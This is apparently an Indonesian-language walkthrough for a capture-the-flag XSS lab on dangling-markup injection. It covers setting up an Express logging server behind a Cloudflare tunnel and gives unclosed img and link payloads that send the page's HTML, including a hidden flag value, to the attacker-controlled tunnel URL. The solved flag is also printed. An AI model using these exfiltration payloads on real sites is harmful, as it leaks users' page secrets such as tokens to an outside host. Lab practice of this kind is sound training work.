mkdir dangling-markup
cd dangling-markup
npm init -y
npm install expressSalin code dari artifact server.js ke file server.js
node server.jsServer akan jalan di http://localhost:3000
Windows:
- Download dari: https://github.com/cloudflare/cloudflared/releases
- Download file
cloudflared-windows-amd64.exe - Rename jadi
cloudflared.exedan simpan di folder project
Linux/Mac:
# Linux
wget https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64
chmod +x cloudflared-linux-amd64
sudo mv cloudflared-linux-amd64 /usr/local/bin/cloudflared
# Mac (dengan Homebrew)
brew install cloudflaredcloudflared tunnel --url http://localhost:3000Output akan seperti ini:
Your quick Tunnel has been created! Visit it at (it may take some time to be reachable):
https://random-word-1234.trycloudflare.com
🎉 URL tersebut adalah public URL Anda!
Dari output cloudflared, copy URL-nya, contoh:
https://random-word-1234.trycloudflare.com
<img src='https://random-word-1234.trycloudflare.com/?
Buka lab XSS:
https://gigh5vp3.xssy.uk/target.ftl?name=<img src='https://random-word-1234.trycloudflare.com/?
GANTI random-word-1234.trycloudflare.com dengan URL Cloudflare Anda!
Akses: https://your-tunnel-url.trycloudflare.com/view
- Refresh halaman
/viewuntuk melihat request baru - Flag akan muncul dengan highlight khusus
- Lihat di bagian "FLAG FOUND"
Flag juga akan muncul di terminal tempat node server.js berjalan
Jalankan ulang command:
cloudflared tunnel --url http://localhost:3000URL baru akan digenerate (berbeda dari sebelumnya)
- Pastikan server Node.js tetap running
- Pastikan cloudflared tunnel tetap running
- Cek URL Cloudflare sudah benar di payload
- Pastikan payload menggunakan single quote
'bukan double quote"
Akses /logs untuk JSON format:
https://your-tunnel-url.trycloudflare.com/logs
Akses /clear untuk hapus semua logs:
https://your-tunnel-url.trycloudflare.com/clear
<img src='https://YOUR-URL.trycloudflare.com/?
<img src='https://YOUR-URL.trycloudflare.com/?data=
<link rel=stylesheet href='https://YOUR-URL.trycloudflare.com/?
Setelah selesai lab:
- Stop server Node.js (Ctrl+C)
- Stop Cloudflare tunnel (Ctrl+C)
- Tunnel akan otomatis expired setelah beberapa waktu
Ketika berhasil, di /view Anda akan melihat:
🚩 FLAG FOUND: tuuljg43
Request URL akan berisi HTML dari page, termasuk:
<input type=hidden name=flag value=tuuljg43>
Good luck! 🚀